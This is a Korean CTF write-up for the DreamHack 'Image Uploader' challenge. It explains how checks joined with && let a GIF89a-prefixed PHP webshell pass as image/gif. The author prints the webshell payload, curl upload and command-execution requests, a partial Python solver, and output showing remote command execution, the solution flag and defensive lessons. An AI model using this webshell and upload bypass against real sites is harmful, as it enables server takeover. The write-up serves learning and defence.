2026-06-04·1분 읽기·
확장자와 MIME 타입 검사를 AND(&&)로 묶은 업로더다. 둘 중 하나만 통과하면 되는 허점이라, GIF89a 매직바이트를 앞에 붙인 .php 파일이 image/gif 로 인식돼 그대로 업로드된다. 웹셸을 올려 RCE로 플래그를 읽는 과정을 정리했다.
이 글이 도움이 됐나요?
문제: DreamHack — Image Uploader 분류: Web (PHP / Apache) 난이도: 🥉 Bronze 2 FLAG:
DH{6cb5076e71927728a48baa3ed77dbc9d}
이미지를 올려 갤러리에 공유하는 평범한 업로더다. 제목·설명과 함께 파일을 올리면 uploads/에 저장되고 갤러리에 뜬다.
| 항목 | 내용 |
|---|---|
| 문제명 | Image Uploader |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (PHP 8.1 + Apache) |
| 제공 파일 / 서버 | upload.php, gallery.php, uploads/.htaccess + 라이브 서버 |
| 핵심 취약점 | 확장자·MIME 검사를 &&로 묶어 한쪽만 통과해도 업로드 |
업로드 폼은 JPG·PNG·GIF만 받는다고 안내한다.

하지만 그 "이미지만 허용" 검사가 한쪽만 만족해도 통과하도록 짜여 있다.
&&로 묶인 검사upload.php의 필터가 전부다.
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$check_extension = $file_extension;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file['tmp_name']); // 실제 파일 내용으로 판정
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg'];
// 확장자도 아니고 MIME 도 아닐 때만 거부
if (!in_array($mime_type, $allowed_mimes) && !in_array($check_extension, $allowed_extensions)) {
die("...Only images allowed...");
}
$new_filename = date('YmdHis') . '_' . mt_rand(1000, 9999) . '_' . $filename; // 확장자 보존거부 조건이 (!MIME허용 && !확장자허용)이다. 즉 MIME가 허용 목록이거나 확장자가 허용 목록이거나, 둘 중 하나만 만족하면 통과한다. 올바르게 막으려면 둘 다 요구하는 ||(또는 각각 따로 검사)여야 했다.
확장자 .php는 허용 목록에 없다. 그런데 MIME만 image/gif로 만들면 !in_array(mime, ...)가 false가 되고, false && ...는 false라 die를 건너뛴다. 저장 시 파일명은 날짜_난수_원본이름으로 확장자가 그대로 유지된다.
MIME 판정은 finfo가 파일 내용을 보고 한다. 그러니 내용 앞에 GIF 시그니처만 붙이면 된다.
poly : image/gif ← GIF89a; <?php ... ?>
plain : text/x-php ← <?php ... ?> (헤더 없으면 거부됨)그럼 업로드된 .php가 실행될까? uploads/.htaccess를 보면 직접 실행을 켜준다.
AddType application/x-httpd-php .php .phtml .php3 .php4 .php5 .inc
<FilesMatch "\.php">
SetHandler application/x-httpd-php
</FilesMatch>게다가 Dockerfile에 AllowOverride All이 있어 이 .htaccess가 적용된다. 업로드 폴더가 PHP를 실행해 주는 셈이다.
노릴 페이로드는 GIF이면서 동시에 PHP인 파일이다.
GIF89a;
<?php system($_GET['c']); ?>앞 GIF89a는 GIF 매직바이트라 finfo가 image/gif로 본다. ; 뒤부터는 PHP 코드다. PHP는 <?php 밖의 GIF89a;를 그냥 텍스트로 출력하고, 태그 안의 system()을 실행한다.

확장자만 .php로 두면 두 검사가 이렇게 갈린다.
| 업로드 | 확장자 검사 | finfo MIME | die 여부 | 결과 |
|---|---|---|---|---|
shell.php (순수 PHP) | .php 불가 | text/x-php 불가 | !T && !T → 거부 | ❌ Only images allowed |
shell.php (GIF 폴리글랏) | .php 불가 | image/gif 허용 | !T && !F → 통과 | ✅ 업로드 |
남은 건 저장된 파일명을 아는 것. 파일명은 date_rand_shell.php라 난수가 끼지만, uploads/info.json이 그대로 노출돼 정확한 이름을 알려준다. 갤러리도 .php 파일을 📄 아이콘 + "Open file" 링크로 보여준다.

순서는 셋이다.
.php를 file 필드로 upload.php에 POSTuploads/info.json(또는 갤러리)에서 저장된 파일명 확인uploads/<파일명>.php?c=<명령> 으로 명령 실행# 1) 업로드
curl -s http://<host>/upload.php \
-F 'file=@shell.php;type=image/gif' -F 'title=x' -F 'description=x'
# 2) 저장된 파일명 확인
curl -s http://<host>/uploads/info.json
# 3) 웹셸로 flag 읽기
curl -s 'http://<host>/uploads/20260604082113_6127_shell.php?c=cat%20/var/www/html/flag.txt'웹셸을 브라우저로 열면 GIF89a; 머리말 뒤에 cat /var/www/html/flag.txt의 출력이 그대로 찍힌다.

업로드 → 파일명 확보 → 명령 실행을 한 번에 묶었다.
#!/usr/bin/python3
# Image Uploader 솔버 — 확장자/MIME 검사를 &&(AND) 로 묶은 허점을 이용한다.
# upload.php: if (!in_array(mime, allowed) && !in_array(ext, allowed)) reject;
# → mime 또는 ext 중 하나만 통과하면 업로드됨.
# GIF89a 매직바이트를 앞에 붙인 .php 웹셸은 finfo 가 image/gif 로 판정 → 통과.
# uploads/.htaccess 가 .php 에 php 핸들러를 걸어줘서 업로드된 셸이 실행된다.
import sys
import re
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8088").rstrip("/")
s = requests.Session()
# GIF/PHP 폴리글랏 웹셸 — 앞부분이 GIF 시그니처라 finfo 가 image/gif 로 인식
shell = b"GIF89a;\n<?php system($_GET['c']); ?>\n"
# 1) 업로드 (필드명 file, 확장자 .php)
files = {"file": ("shell.php", shell, "image/gif")}
라이브 서버에 그대로 돌린 결과다.
$ python3 solve.py http://host3.dreamhack.games:14830
[*] upload.php -> 200: <script>alert('File uploaded successfully!'); location.href='gallery.php';</scri
[+] 업로드된 웹셸: uploads/20260604082113_6127_shell.php
[*] RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[FLAG] DH{6cb5076e71927728a48baa3ed77dbc9d}
DH{6cb5076e71927728a48baa3ed77dbc9d}확장자와 MIME는 함께, 그리고 화이트리스트로 막아야 한다.
이 문제의 결함은 두 검사를 &&로 이어 "둘 다 실패할 때만 거부"하게 만든 한 줄이다. ||로 묶거나 각각 독립적으로 통과를 요구했어야 했다. 확장자는 화이트리스트로 강제하고, MIME만으로는 절대 신뢰하지 않는 게 기본이다.
MIME 검사는 우회를 전제로 본다.
finfo는 파일 앞부분 시그니처를 보고 타입을 판단한다. 공격자는 GIF 헤더를 붙이는 것만으로 그 판단을 바꿀 수 있다. 내용 기반 MIME 검사는 "이미지처럼 생겼는지"는 알려줘도 "안전한지"는 보장하지 못한다.
업로드 폴더에서 코드가 실행되면 끝이다.
확장자를 .php로 보존하고, 그 폴더의 .htaccess가 PHP 핸들러까지 걸어줬다. 업로드 경로는 실행 권한을 떼고(정적 파일로만 서빙), 저장 파일명도 서버가 정한 안전한 확장자로 강제해야 한다. 막아야 할 건 업로드 자체가 아니라 업로드된 것이 코드로 실행되는 경로다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…